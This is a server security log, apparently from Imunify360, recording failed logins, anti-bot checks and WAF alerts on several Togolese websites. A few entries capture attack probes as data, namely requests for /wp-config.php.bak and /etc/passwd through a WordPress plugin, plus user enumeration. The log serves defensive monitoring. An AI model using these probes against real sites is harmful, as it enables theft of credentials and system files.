2026-06-17 14:22:00 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:34130: 535 Incorrect authentication data (set_id=coto)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.57.50.250
country_id: 2077456
description:
203.57.50.250 - - [17/Jun/2026:14:23:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6843588&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781706185 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.50.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:14:23:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10120597&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781706186 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.136
country_id: 1880251
description:
47.128.121.136 - - [17/Jun/2026:14:22:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724246&pdata=https%253A%252F%252Fdirect7.tg%252Ftag%252Flions-club-international-district-403a2%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781706153 HTTP/2.0" 302 0 direct7.tg "https://direct7.tg/tag/lions-club-international-district-403a2/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.136


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:14:23:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723786&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781706185 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.64.85
country_id: 1831722
description:
[2026-06-17 14:24:07 +0000] info [cpaneld] 157.85.64.85 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.60
country_id: 3469034
description:
Jun 17 14:23:30 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.60 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 156.38.95.14
country_id: 2363686
description:
156.38.95.14 - - [17/Jun/2026:14:25:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6526062&pdata=https%253A%252F%252Fsp-eau.tg%252Fbackup.tar.gz&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781706322 HTTP/2.0" 302 0 sp-eau.tg "https://sp-eau.tg/backup.tar.gz" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:156.38.95.14


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 156.38.95.14
country_id: 2363686
domain: sp-eau.tg
description:
IM360 WAF: Bad file extension||RSV:8.18||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||User:doufelg||


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 156.38.95.14
country_id: 2363686
domain: sp-eau.tg
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php.bak||RSV:8.18||T:APACHE||REQUEST_URI:/wp-config.php.bak||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 130.12.182.188
country_id: 3190538
description:
Jun 17 14:24:55 ns5 pure-ftpd[2011502]: (?@130.12.182.188) [INFO] New connection from 130.12.182.188


plugin: modsec
rule: 77140882
name: IM360 WAF: Infectors: OS File Access Attempt
abuser: 156.38.95.14
country_id: 2363686
domain: sp-eau.tg
description:
IM360 WAF: Infectors: OS File Access Attempt||MVN:ARGS:pl||MV:/etc/passwd||RSV:8.18||T:APACHE||SC:/home/doufelg/public_html/wp-content/plugins/mail-masta||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.83.4.64
country_id: 3017382
description:
[2026-06-17 14:26:37 +0000] info [cpaneld] 51.83.4.64 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.238.10.224
country_id: 6252001
domain: 24heureinfo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:104.238.10.224||TA:104.238.10.224||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.83.4.64
country_id: 3017382
description:
[2026-06-17 14:28:59 +0000] info [cpaneld] 51.83.4.64 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.68.86
country_id: 732800
description:
Jun 17 14:30:43 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.68.86 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.23.59
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<span style=\"color: #0000ff;\"><strong>\xc3\x80 l\xe2\x80\x99occasion de la premi\xc3\xa8re \xc3\xa9dition de la nuit internationale de la presse (nip), qui s\xe2\x80\x99est tenue \xc3\xa0 cotonou au b\xc3\xa9nin, albert agbeko, directeur de publication du m\xc3\xa9dia en ligne <em data-path-to-node=\"3\" data-index-in-node=\"234\">togo scoop info</em>, est sacr\xc3\xa9 \xc2\xab meilleur journaliste-directeur de publication \xc2\xbb dans la cat\xc3\xa9gorie presse en ligne. une distinction prestigieuse qui vient couronner un engagement ind\xc3\xa9fectible en faveur d'une information libre, cr\xc3\xa9dible et responsable.</strong></span>\r\n\r\norganis\xc3\xa9 du 11 au 13 juin 2026, cet \xc3\xa9v\xc3\xa9nement d\xe2\x80\x99envergure a rassembl\xc3\xa9 plus de soixante professionnels des m\xc3\xa9dias issus de douze pays d\xe2\x80\x99afrique et de la diaspora. plac\xc3\xa9e sous le sceau de l'excellence, de la libert\xc3\xa9 de la presse et de la solidarit\xc3\xa9 professionnelle, cette premi\xc3\xa8re \xc3\xa9dition a honor\xc3\xa9 une quarantaine de journalistes ainsi que trois chefs d'\xc3\x89tat pour leurs actions structurantes dans le secteur des m\xc3\xa9dias.\r\n<p data-path-to-node=\"6\">c\xe2\x80\x99est des mains de hermine otounga souna, administrateur directeur g\xc3\xa9n\xc3\xa9ral de l'agence gabonaise de presse, qu\xe2\x80\x99albert agbeko a re\xc3\xa7u son troph\xc3\xa9e. selon le comit\xc3\xa9 d'organisation, ce prix vient r\xc3\xa9compenser :</p>\r\n<p data-path-to-node=\"7,0\">\xc2\xab <span style=\"color: #000000;\"><em>son remarquable parcours professionnel, son engagement constant en faveur d'une presse libre, cr\xc3\xa9dible et responsable, ainsi que sa pr\xc3\xa9cieuse contribution au rayonnement du journalisme africain</em></span> \xc2\xbb.</p>\r\nau-del\xc3\xa0 du sacre individuel, cette r\xc3\xa9compense sonne comme une cons\xc3\xa9cration pour l'ensemble du paysage m\xc3\xa9diatique togolais, qui continue de s'illustrer malgr\xc3\xa9 un contexte \xc3\xa9conomique et professionnel souvent complexe.\r\n<p data-path-to-node=\"10\">submerg\xc3\xa9 par l'\xc3\xa9motion, albert agbeko a d'abord d\xc3\xa9di\xc3\xa9 ce troph\xc3\xa9e \xc3\xa0 sa famille, pilier de son parcours dans cette profession exigeante, avant d'adresser un message vibrant \xc3\xa0 ses pairs :</p>\r\n<p data-path-to-node=\"11\"><em data-path-to-node=\"11\" data-index-in-node=\"0\">\xc2\xab </em><span style=\"color: #339966;\"><span style=\"color: #0000ff;\">je d\xc3\xa9die cette distinction \xc3\xa0 tous ces journalistes togolais qui, souvent dans l'ombre et parfois dans des conditions difficiles, continuent de d\xc3\xa9fendre le droit \xc3\xa0 l'information et les libert\xc3\xa9s fondamentales</span> \xc2\xbb</span>, a-t-il d\xc3\xa9clar\xc3\xa9.</p>\r\n\r\n\r\n[caption id=\"attachment_18968\" align=\"alignnone\" width=\"300\


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 193.202.83.204
country_id: 294640
description:
193.202.83.204 - - [17/Jun/2026:14:33:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7313049&pdata=https%253A%252F%252Fbelali.tg%252Fwp-admin%252Fuser-new.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781706799 HTTP/2.0" 302 0 belali.tg "https://belali.tg/wp-admin/user-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.202.83.204


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 74.7.227.171
country_id: 6252001
domain: macite.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.18||T:APACHE||MV:/wp-json/wp/v2/users/1||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.106.47.21
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1973450877 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.23.59
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<span style=\"color: #0000ff;\"><strong>\xc3\x80 l\xe2\x80\x99occasion de la premi\xc3\xa8re \xc3\xa9dition de la nuit internationale de la presse (nip),\xc2\xa0 tenue \xc3\xa0 cotonou au b\xc3\xa9nin, albert agbeko, directeur de publication du m\xc3\xa9dia en ligne <em data-path-to-node=\"3\" data-index-in-node=\"234\">togo scoop info</em>, est sacr\xc3\xa9 \xc2\xab meilleur journaliste-directeur de publication \xc2\xbb dans la cat\xc3\xa9gorie presse en ligne. une distinction\xc2\xa0 qui vient couronner un engagement ind\xc3\xa9fectible en faveur d'une information libre, cr\xc3\xa9dible et responsable.</strong></span>\r\n\r\norganis\xc3\xa9 du 11 au 13 juin 2026, cet \xc3\xa9v\xc3\xa9nement d\xe2\x80\x99envergure a rassembl\xc3\xa9 plus de soixante professionnels des m\xc3\xa9dias issus de douze pays d\xe2\x80\x99afrique et de la diaspora. plac\xc3\xa9e sous le sceau de l'excellence, de la libert\xc3\xa9 de la presse et de la solidarit\xc3\xa9 professionnelle, cette premi\xc3\xa8re \xc3\xa9dition a honor\xc3\xa9 une quarantaine de journalistes ainsi que trois chefs d'\xc3\x89tat pour leurs actions structurantes dans le secteur des m\xc3\xa9dias.\r\n<p data-path-to-node=\"6\">c\xe2\x80\x99est des mains de hermine otounga souna, administrateur directeur g\xc3\xa9n\xc3\xa9ral de l'agence gabonaise de presse, qu\xe2\x80\x99albert agbeko a re\xc3\xa7u son troph\xc3\xa9e. selon le comit\xc3\xa9 d'organisation, ce prix vient r\xc3\xa9compenser :</p>\r\n<p data-path-to-node=\"7,0\">\xc2\xab <span style=\"color: #000000;\"><em>son remarquable parcours professionnel, son engagement constant en faveur d'une presse libre, cr\xc3\xa9dible et responsable, ainsi que sa pr\xc3\xa9cieuse contribution au rayonnement du journalisme africain</em></span> \xc2\xbb.</p>\r\nau-del\xc3\xa0 du sacre individuel, cette r\xc3\xa9compense sonne comme une cons\xc3\xa9cration pour l'ensemble du paysage m\xc3\xa9diatique togolais, qui continue de s'illustrer malgr\xc3\xa9 un contexte \xc3\xa9conomique et professionnel souvent complexe.\r\n<p data-path-to-node=\"10\">submerg\xc3\xa9 par l'\xc3\xa9motion, albert agbeko a d'abord d\xc3\xa9di\xc3\xa9 ce troph\xc3\xa9e \xc3\xa0 sa famille, pilier de son parcours dans cette profession exigeante, avant d'adresser un message vibrant \xc3\xa0 ses pairs :</p>\r\n<p data-path-to-node=\"11\"><em data-path-to-node=\"11\" data-index-in-node=\"0\">\xc2\xab </em><span style=\"color: #339966;\"><span style=\"color: #0000ff;\">je d\xc3\xa9die cette distinction \xc3\xa0 tous ces journalistes togolais qui, souvent dans l'ombre et parfois dans des conditions difficiles, continuent de d\xc3\xa9fendre le droit \xc3\xa0 l'information et les libert\xc3\xa9s fondamentales</span> \xc2\xbb</span>, a-t-il d\xc3\xa9clar\xc3\xa9.</p>\r\n\r\n\r\n[caption id=\"attachment_18968\" align=\"alignnone\" width=\"300\


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>participant au forum 2026 sur les fragilit\xc3\xa9s, organis\xc3\xa9 par la banque mondiale, la ministre-secr\xc3\xa9taire g\xc3\xa9n\xc3\xa9rale de la pr\xc3\xa9sidence du conseil, dr sandra ablamba johnson, a partag\xc3\xa9 au cours de la session, la strat\xc3\xa9gie structurante \xc3\xa0 trois volets mise en \xc5\x93uvre par le gouvernement sous le leadership du pr\xc3\xa9sident du conseil pour lutter contre le terrorisme et l\xe2\x80\x99extr\xc3\xa9misme violent.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>il s\xe2\x80\x99agit notamment du volet de la pr\xc3\xa9vention&nbsp;qui repose sur une architecture int\xc3\xa9gr\xc3\xa9e d\xe2\x80\x99alerte et de r\xc3\xa9ponse rapide \xc3\xa0 travers le comit\xc3\xa9 interminist\xc3\xa9riel de pr\xc3\xa9vention et la lutte contre l'extr\xc3\xa9misme violent et le m\xc3\xa9canisme d\xe2\x80\x99alerte pr\xc3\xa9coce pour la pr\xc3\xa9vention et la lutte contre l\xe2\x80\x99extr\xc3\xa9misme; du volet de la riposte militaire&nbsp;\xc3\xa0 travers l\xe2\x80\x99op\xc3\xa9ration&nbsp; \xc2\xab&nbsp;koundjoar\xc3\xa9\xe2\x80\x9d pour une r\xc3\xa9ponse op\xc3\xa9rationnelle des forces arm\xc3\xa9es togolaises face \xc3\xa0 la menace terroriste et aux incursions extr\xc3\xa9mistes au nord du pays; et du volet du renforcement de la r\xc3\xa9silience socio-\xc3\xa9conomique \xc3\xa0 travers le vaste programme d\xe2\x80\x99urgence pour le renforcement de la r\xc3\xa9silience et la s\xc3\xa9curit\xc3\xa9 des communaut\xc3\xa9s (purs) auquel contribuent diff\xc3\xa9rents projets dont le projet de coh\xc3\xa9sion sociale des r\xc3\xa9gions nord du golfe de guin\xc3\xa9e (coso) et des financements additionnels ida 20 mobilis\xc3\xa9s au guichet pour le prevention le resilience (pra). &nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>il faut pr\xc3\xa9ciser qu\xe2\x80\x99au togo, la pr\xc3\xa9vention ne peut pas \xc3\xaatre uniquement militaire. elle repose sur une action simultan\xc3\xa9e sur les causes structurelles de la fragilit\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31146,\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/image-30-724x1024.png\" alt=\"\" class=\"wp-image-31146\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>pour sandra ablamba johnson, <em>\xc2\xab&nbsp;la situation au sahel nous enseigne que les crises naissent de l\xe2\x80\x99accumulation de vuln\xc3\xa9rabilit\xc3\xa9s : pauvret\xc3\xa9, exclusion sociale, d\xc3\xa9ficit de services publics, in\xc3\xa9galit\xc3\xa9s territoriales et perte de confiance envers l\xe2\x80\x99etat&nbsp;\xc2\xbb</em>. elle a ajout\xc3\xa9 \xc3\xa9galement que <em>\xc2\xab&nbsp;l\xe2\x80\x99exp\xc3\xa9rience du sahel montre que l\xc3\xa0 o\xc3\xb9 l\xe2\x80\x99etat est absent, les vuln\xc3\xa9rabilit\xc3\xa9s s\xe2\x80\x99installent et les groupes extr\xc3\xa9mistes s\xe2\x80\x99enracinent&nbsp;\xc2\xbb</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>raison pour laquelle le togo a fait le choix de renforcer la pr\xc3\xa9sence de l\xe2\x80\x99etat par l\xe2\x80\x99investissement public dans les territoires vuln\xc3\xa9rables.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>notons qu\xe2\x80\x99\xc3\xa0 travers le projet coso par exemple, il a \xc3\xa9t\xc3\xa9 r\xc3\xa9alis\xc3\xa9 plus de 830 infrastructures communautaires b\xc3\xa9n\xc3\xa9ficiant \xc3\xa0 plus de 545 000 personnes, dont une majorit\xc3\xa9 de femmes dans les secteurs de l\xe2\x80\x99\xc3\xa9ducation, de la sant\xc3\xa9, de l\xe2\x80\x99eau et de l\xe2\x80\x99\xc3\xa9nergie.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>au togo, la pr\xc3\xa9vention n\xe2\x80\x99est pas que militaire. elle repose sur une action simultan\xc3\xa9e sur les causes structurelles de la fragilit\xc3\xa9, y compris la cr\xc3\xa9ation d\xe2\x80\x99emplois pour les femmes et les jeunes. en conclusion, l\xe2\x80\x99exp\xc3\xa9rience du togo montre clairement que la pr\xc3\xa9vention est aujourd\xe2\x80\x99hui l\xe2\x80\x99investissement le plus rentable pour pr\xc3\xa9server durablement la paix, la stabilit\xc3\xa9 et le d\xc3\xa9veloppement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pour rappel, la session avait pour objectif d\xe2\x80\x99examiner la nature des r\xc3\xa9formes susceptibles de modifier ou de renforcer les trajectoires, essentielles pour soutenir les efforts de pr\xc3\xa9vention des fragilit\xc3\xa9s, conflits et violence ainsi que les d\xc3\xa9fis li\xc3\xa9s \xc3\xa0 leur d\xc3\xa9finition et \xc3\xa0 leur mise en \xc5\x93uvre.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>dr sandra ablamba johnson avait comme co-pan\xc3\xa9listes ousmane diagana, vice-pr\xc3\xa9sident du groupe de la banque mondiale pour l\xe2\x80\x99afrique de l\xe2\x80\x99ouest et du centre&nbsp;; abdellah s. cheikh sidiya, ministre des affaires \xc3\xa9conomiques et du d\xc3\xa9veloppement, gouverneur pour la mauritanie&nbsp;; bakary sambe, chercheur \xc3\xa0 l\xe2\x80\x99institut tombouctou&nbsp;et leonardo santos simao, repr\xc3\xa9sentant sp\xc3\xa9cial et chef du bureau des nations unies pour l\xe2\x80\x99afrique de l\xe2\x80\x99ouest et du sahel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;de fa\xc3\xa7on sp\xc3\xa9cifique, la session s\xe2\x80\x99est appesantie sur les le\xc3\xa7ons tir\xc3\xa9es sur la crise au sahel et a port\xc3\xa9 sur (i) ce qui fonctionne pour la pr\xc3\xa9vention et l\xe2\x80\x99anticipation des risques avec la prise en compte du spectre de la pr\xc3\xa9vention en amont en mauritanie \xc3\xa0 l\xe2\x80\x99att\xc3\xa9nuation des risques au togo&nbsp;; (ii) les strat\xc3\xa9gies nationales de pr\xc3\xa9vention et (iii) les d\xc3\xa9fis de mise en \xc5\x93uvre des r\xc3\xa9formes et le r\xc3\xb4le du soutien des partenaires techniques et financiers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31156,\"width\":\"616px\",\"height\":\"auto\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/cf280d22-5566-4950-b6b8-986b4a8db8fc-724x1024.jpg\" alt=\"\" class=\"wp-image-31156\" style=\"width:616px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>comme le\xc3\xa7ons tir\xc3\xa9es de la crise au sahel, il faut (i) agir t\xc3\xb4t et de mani\xc3\xa8re proactive pour pr\xc3\xa9venir l\xe2\x80\x99aggravation des conflits et violence en s\xe2\x80\x99appuyant sur des donn\xc3\xa9es quantitatives et qualitatives de qualit\xc3\xa9 pour des analyses&nbsp;; (ii) renforcer les investissements socio-\xc3\xa9conomiques pour b\xc3\xa2tir un \xc2\xab&nbsp;etat protecteur&nbsp;\xc2\xbb&nbsp;; (iii) assurer la pr\xc3\xa9sence de l\xe2\x80\x99etat sur le territoire et (iv) renforcer la synergie entre l\xe2\x80\x99appropriation locale et les interventions des partenaires techniques et financiers avec la prise en compte des r\xc3\xa9alit\xc3\xa9s locales dans la conception, la mise en \xc5\x93uvre et le suivi des programmes de d\xc3\xa9veloppement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le forum 2026 sur les fragilit\xc3\xa9s est organis\xc3\xa9 dans le cadre de la mise en \xc5\x93uvre de la nouvelle strat\xc3\xa9gie de pr\xc3\xa9vention des fragilit\xc3\xa9s, conflits et violence et dans le contexte de la transformation \xc3\xa9conomique, sociale et s\xc3\xa9curitaire en afrique de l\xe2\x80\x99ouest et du sahel centre avec comme cas d\xe2\x80\x99\xc3\xa9cole le togo et la mauritanie en termes de pr\xc3\xa9vention \xc3\xa0 travers des strat\xc3\xa9gies de renforcement de la r\xc3\xa9silience socio-\xc3\xa9conomique des communaut\xc3\xa9s.&nbsp; l\xe2\x80\x99\xc3\xa9dition 2026 du forum a port\xc3\xa9 sur le th\xc3\xa8me&nbsp;: \xc2\xab&nbsp;soutenir la pr\xc3\xa9vention dans les pays \xc3\xa0 risque&nbsp;: le\xc3\xa7ons tir\xc3\xa9es du sahel&nbsp;\xc2\xbb.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>cr\xc3\xa9do tetteh (in le medium n\xc2\xb0707 du 16 au 22 juin 2026)</strong><strong></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:14:34:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9662104&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781706897 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.153.91.12
country_id: 3625428
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/05/IMG_20220520_103908Z.jpg 4160w, http:/togodailynews.tg/wp-content/uploads/2022/05/IMG_20220520_103908Z-300x225.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2022/05/IMG_20220520_103908Z-768x576.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2022/05/IMG_20220520_103908Z-1024x768.jpg 1024w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.119.185
country_id: 1880251
description:
47.128.119.185 - - [17/Jun/2026:14:36:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13223321&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D13962&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781707003 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=13962" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.119.185


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:14:36:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:14:36:26 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:14:39:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920343&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781707157 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
